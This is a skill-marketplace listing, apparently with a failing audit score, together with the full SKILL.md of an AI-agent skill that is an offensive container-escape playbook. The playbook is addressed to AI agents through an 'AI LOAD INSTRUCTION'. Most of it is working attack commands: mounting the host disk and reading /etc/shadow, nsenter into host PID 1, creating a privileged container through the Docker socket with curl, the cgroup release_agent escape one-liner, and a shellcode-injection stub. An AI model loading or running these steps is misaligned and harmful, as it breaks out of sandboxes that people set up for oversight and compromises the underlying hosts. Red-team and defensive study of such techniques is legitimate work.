PluginBench
Skill
Fail
Audit score 45

container-escape-techniques

yaklang/hack-skills

Expert container escape techniques for Docker, Kubernetes, and LXC breakout via privileged mode, capabilities, and runtime vulnerabilities.

What is container-escape-techniques?

Container escape playbook covering privileged container breakout, capability abuse, Docker socket exploitation, cgroup manipulation, namespace tricks, and runtime CVEs. Use when operating inside a container and need to escape to the host system.

  • Detect if running inside a container and identify the runtime (Docker, Kubernetes, containerd, LXC)
  • Exploit privileged containers via host filesystem mounting and nsenter namespace entry
  • Abuse Linux capabilities (CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_NET_ADMIN, CAP_DAC_READ_SEARCH) for escape
  • Leverage Docker socket (/var/run/docker.sock) to create privileged containers and break out
  • Execute cgroup v1 release_agent and cgroup v2/eBPF-based escapes
  • Exploit namespace misconfigurations (hostPID, hostNetwork, hostPath) and runtime CVEs (runc CVE-2019-5736, containerd CVE-2020-15257)

How to install container-escape-techniques

npx skills add https://github.com/yaklang/hack-skills --skill container-escape-techniques
Prerequisites
  • Access to a running container or pod
  • Basic Linux command-line tools (mount, nsenter, fdisk, etc.)
  • Optional: deepce, CDK, amicontained, or PEIRATES tools for automated enumeration
  • Knowledge of Linux capabilities, namespaces, and cgroups
Claude Code
Cursor
Windsurf
Cline

How to use container-escape-techniques

  1. 1.Run container detection checks to confirm you are in a container and identify the runtime
  2. 2.Enumerate your current capabilities and privileges using capsh and /proc/self/status
  3. 3.Check for dangerous configurations: privileged flag, mounted Docker socket, hostPID/hostNetwork, mounted host paths
  4. 4.Select the appropriate escape technique based on your capabilities and container configuration
  5. 5.Execute the escape (mount host filesystem, nsenter, cgroup release_agent, Docker socket API, etc.)
  6. 6.Verify successful escape by accessing host filesystem or running commands in host namespace

Use cases

Good for
  • Escape from a privileged Docker container to access the host filesystem and run arbitrary commands
  • Break out of a Kubernetes pod with dangerous security settings (hostPID, hostNetwork, hostPath, privileged)
  • Exploit mounted Docker socket to create new privileged containers and gain host access
  • Abuse cgroup capabilities to read sensitive host files or execute code in host namespace
  • Identify and exploit container runtime vulnerabilities to compromise the underlying host system
Who it's for
  • Red teamers and penetration testers assessing container security
  • Security researchers studying container escape techniques and mitigations
  • DevSecOps engineers identifying dangerous pod/container configurations
  • Incident responders investigating container-based compromises

container-escape-techniques FAQ

How do I know if I'm in a container?

Check for /.dockerenv file, look for docker/kubepods in /proc/1/cgroup, examine /proc/self/mountinfo for overlay filesystems, or use tools like amicontained and deepce.sh for detailed detection.

What's the easiest escape if the container is privileged?

Mount the host filesystem directly (mount /dev/sda1 /mnt/host) or use nsenter to enter host namespaces (nsenter --target 1 --mount --uts --ipc --net --pid -- bash).

Can I escape without CAP_SYS_ADMIN?

Possibly via CAP_SYS_PTRACE (process injection), CAP_DAC_READ_SEARCH (shocker exploit), or by exploiting runtime vulnerabilities like runc CVE-2019-5736 or cgroups CVE-2022-0492.

What if /var/run/docker.sock is mounted?

Use the Docker API to create a new privileged container with host filesystem mounted, then exec into it and chroot to /host. Requires curl or Docker CLI.

How does cgroup release_agent escape work?

Write a shell script to /release_agent on the host, configure cgroup notify_on_release, then trigger it by moving a process to the cgroup. The script executes on the host when the cgroup is released.

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: container-escape-techniques description: >- Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.

SKILL: Container Escape Techniques — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.

0. RELATED ROUTING

Before going deep, consider loading:

  • linux-privilege-escalation when you first need root inside the container before attempting escape
  • kubernetes-pentesting for K8s-specific attack paths beyond pod escape
  • linux-security-bypass when seccomp/AppArmor blocks your escape technique

Advanced Reference

Also load DOCKER_ESCAPE_CHAINS.md when you need:

  • Step-by-step escape chains for common misconfigurations
  • Docker-in-Docker escape scenarios
  • Kubernetes-specific escape paths with full command sequences

1. AM I IN A CONTAINER?

# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname    # random hex = likely container

# Detailed check
cat /proc/1/status | head -5   # PID 1 is not systemd/init?
mount | grep -i "overlay"      # overlay filesystem?
ip addr                         # veth interface? limited NICs?

Tools for Container Detection

# amicontained: shows container runtime, capabilities, seccomp
./amicontained

# deepce: Docker enumeration and exploit suggester
./deepce.sh

# CDK: all-in-one container pentesting toolkit
./cdk evaluate

2. PRIVILEGED CONTAINER ESCAPE

If --privileged flag was used, the container has nearly all host capabilities and device access.

2.1 Mount Host Filesystem

# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged

# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1

# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host

# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash

2.2 nsenter (Enter Host Namespaces)

# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash

# This gives a shell in the host's namespace context
# Effectively a full host shell

2.3 Privileged + Host PID Namespace

# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/     # Host root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process
nsenter --target 1 --mount -- bash

3. CAPABILITY-BASED ESCAPE

3.1 CAP_SYS_ADMIN — Most Versatile

# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status

# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null

3.2 CAP_SYS_PTRACE — Process Injection

# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root

# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library("c"))

# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF

3.3 CAP_NET_ADMIN

# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L            # Can see/modify host firewall rules?
ip route               # Can modify routing?

3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)

# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow   # Read host file

4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)

ls -la /var/run/docker.sock   # Check if mounted

# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash

# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
  -X POST http://localhost/containers/create \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
       "HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)

5. CGROUP V1 RELEASE_AGENT ESCAPE

Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.

d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent

cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1       # Or: reverse shell
EOF
chmod +x /cmd

sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output

6. CGROUP V2 / eBPF ESCAPE

# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2

# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users

7. NAMESPACE ESCAPE

User Namespace

# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem

PID Namespace Escape

# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/          # Host's root filesystem
cat /proc/1/root/etc/shadow

# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash

8. RUNTIME VULNERABILITIES

runc CVE-2019-5736

Overwrites host runc binary when docker exec is used.

# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host

# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently

containerd CVE-2020-15257

# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock

cgroups CVE-2022-0492

# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container

9. KUBERNETES POD ESCAPE

Dangerous Pod SpecEscape
hostPID: truensenter -t 1 -m -u -i -n -p -- bash
hostNetwork: trueAccess node services (Kubelet, etcd) directly
hostPath: {path: /}chroot /host bash
privileged: trueMount host disk / nsenter
SA token with RBACCreate new privileged pod via API

See kubernetes-pentesting for full K8s attack paths.


10. TOOLS

ToolPurposeURL/Command
deepceDocker enumeration + exploit suggestions./deepce.sh
CDKContainer/K8s exploitation toolkit./cdk evaluate
amicontainedShow container runtime, caps, seccomp./amicontained
PEIRATESKubernetes penetration testing./peirates
BOtBBreak out the Box — auto-escape./botb -autopwn

11. CONTAINER ESCAPE DECISION TREE

Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│   ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│   └── Partial capabilities? Check each:
│       ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│       ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│       ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│       └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│   └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│   └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│   └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│   ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│   └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│   └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│   ├── Service account with elevated RBAC? → create escape pod (§9)
│   └── hostPath volume? → access host filesystem
│
└── None of the above?
    ├── Run deepce/CDK for automated detection
    ├── Check for writable host mount points
    ├── Enumerate network for other containers/services
    └── Check /proc/self/mountinfo for interesting mounts